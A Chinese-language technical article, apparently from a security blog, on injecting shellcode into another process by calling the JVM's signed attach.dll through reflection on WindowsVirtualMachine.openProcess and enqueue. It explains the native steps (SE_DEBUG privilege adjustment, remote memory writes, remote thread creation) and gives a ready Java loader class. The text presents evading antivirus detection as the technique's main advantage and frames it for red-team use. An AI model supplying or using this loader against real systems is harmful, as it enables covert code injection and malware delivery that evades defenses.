JVM加载Shellcode
字数 1041 2025-08-06 18:07:56
JVM加载Shellcode技术详解
0x01 前言
Java加载Shellcode主要有三种方法:
- JNI (Java Native Interface):需要落地一个dll文件
- JNA (Java Native Access):会生成无签名的jni.dll文件
- JVM方法:利用Java自带的签名dll文件,能更好规避杀软检测
本文重点讲解第三种方法——通过JVM加载Shellcode的技术实现。
0x02 技术原理
关键组件
- attach.dll:位于
JAVA_HOME\jre\bin\目录下,带有Oracle签名 - WindowsVirtualMachine类:字节码位于tools.jar包的
sun.tools.attach路径下
核心方法
- openProcess:获取目标进程句柄
- enqueue:执行Shellcode注入
openProcess方法详解
JNIEXPORT jlong JNICALL Java_sun_tools_attach_WindowsVirtualMachine_openProcess
(JNIEnv *env, jclass cls, jint pid)
{
// 主要功能:
// 1. 获取指定PID的进程句柄
// 2. 处理权限问题
// 3. 检查进程位数匹配
}
关键点:
- 首先检查是否为当前进程
- 尝试普通权限打开进程
- 失败后尝试提升权限(SE_DEBUG_NAME)
- 检查进程位数匹配(32/64位)
doPrivilegedOpenProcess函数
static HANDLE doPrivilegedOpenProcess(...)
{
// 主要功能:
// 1. 获取当前线程令牌
// 2. 查找SE_DEBUG_NAME权限
// 3. 调整令牌权限
// 4. 再次尝试OpenProcess
}
enqueue方法详解
JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue
(JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
jstring pipename, jobjectArray args)
{
// 主要功能:
// 1. 准备DataBlock结构
// 2. 在目标进程分配内存
// 3. 写入Shellcode
// 4. 创建远程线程执行
}
关键数据结构:
typedef struct {
GetModuleHandleFunc _GetModuleHandle;
GetProcAddressFunc _GetProcAddress;
char jvmLib[MAX_LIBNAME_LENGTH]; // "jvm.dll"
char func1[MAX_FUNC_LENGTH]; // "JVM_EnqueueOperation"
char func2[MAX_FUNC_LENGTH]; // "_JVM_EnqueueOperation@20"
char cmd[MAX_CMD_LENGTH]; // "load", "dump"等
char arg[MAX_ARGS][MAX_ARG_LENGTH]; // 命令参数
char pipename[MAX_PIPE_NAME_LENGTH]; // 管道名
} DataBlock;
注入流程:
- 准备DataBlock结构
- 在目标进程分配内存并写入DataBlock
- 获取Shellcode字节数组
- 在目标进程分配可执行内存并写入Shellcode
- 创建远程线程执行Shellcode
- 等待线程完成并检查结果
- 释放分配的内存
0x03 Java代码实现
import java.lang.reflect.Method;
public class ShellcodeLoader {
public static void main(String[] args) throws Exception {
// 1. 准备Shellcode字节数组
byte[] shellcode = new byte[] {(byte) 0xfc, (byte) 0x48, ...};
// 2. 反射获取WindowsVirtualMachine类
Class CST_AV = Class.forName("sun.tools.attach.WindowsVirtualMachine");
// 3. 获取openProcess方法
Method openProcess = CST_AV.getDeclaredMethod("openProcess", int.class);
openProcess.setAccessible(true);
// 4. 打开目标进程(替换20248为目标PID)
long hProcess = (long)openProcess.invoke(null, 20248);
// 5. 获取enqueue方法
Method enqueue = CST_AV.getDeclaredMethod("enqueue",
long.class, byte[].class, String.class, String.class, Object[].class);
enqueue.setAccessible(true);
// 6. 执行Shellcode注入
Object[] params = new Object[]{};
enqueue.invoke(null, hProcess, shellcode, null, null, params);
}
}
获取Java位数
Properties sysProperty = System.getProperties();
System.out.println(sysProperty.getProperty("sun.arch.data.model"));
0x04 技术优势
- 隐蔽性:使用Java自带的签名dll文件,减少被杀软检测的风险
- 稳定性:自动检查进程位数匹配,防止因位数不匹配导致崩溃
- 权限处理:自动尝试提升权限(SE_DEBUG_NAME)获取高权限进程句柄
- 跨进程:可以注入到其他Java进程,避免当前Java进程崩溃
0x05 注意事项
- Shellcode位数必须与目标进程匹配
- 需要适当权限才能打开目标进程
- 注入系统进程可能需要管理员权限
- 不同Java版本可能需要调整实现细节
参考资源
- OpenJDK源码:
src/windows/native/sun/tools/attach/WindowsVirtualMachine.c - 相关技术文章:JVM加载Shellcode技术分析
通过这种方法,可以实现较为隐蔽的Shellcode加载,适用于红队测试等场景。使用时请遵守相关法律法规。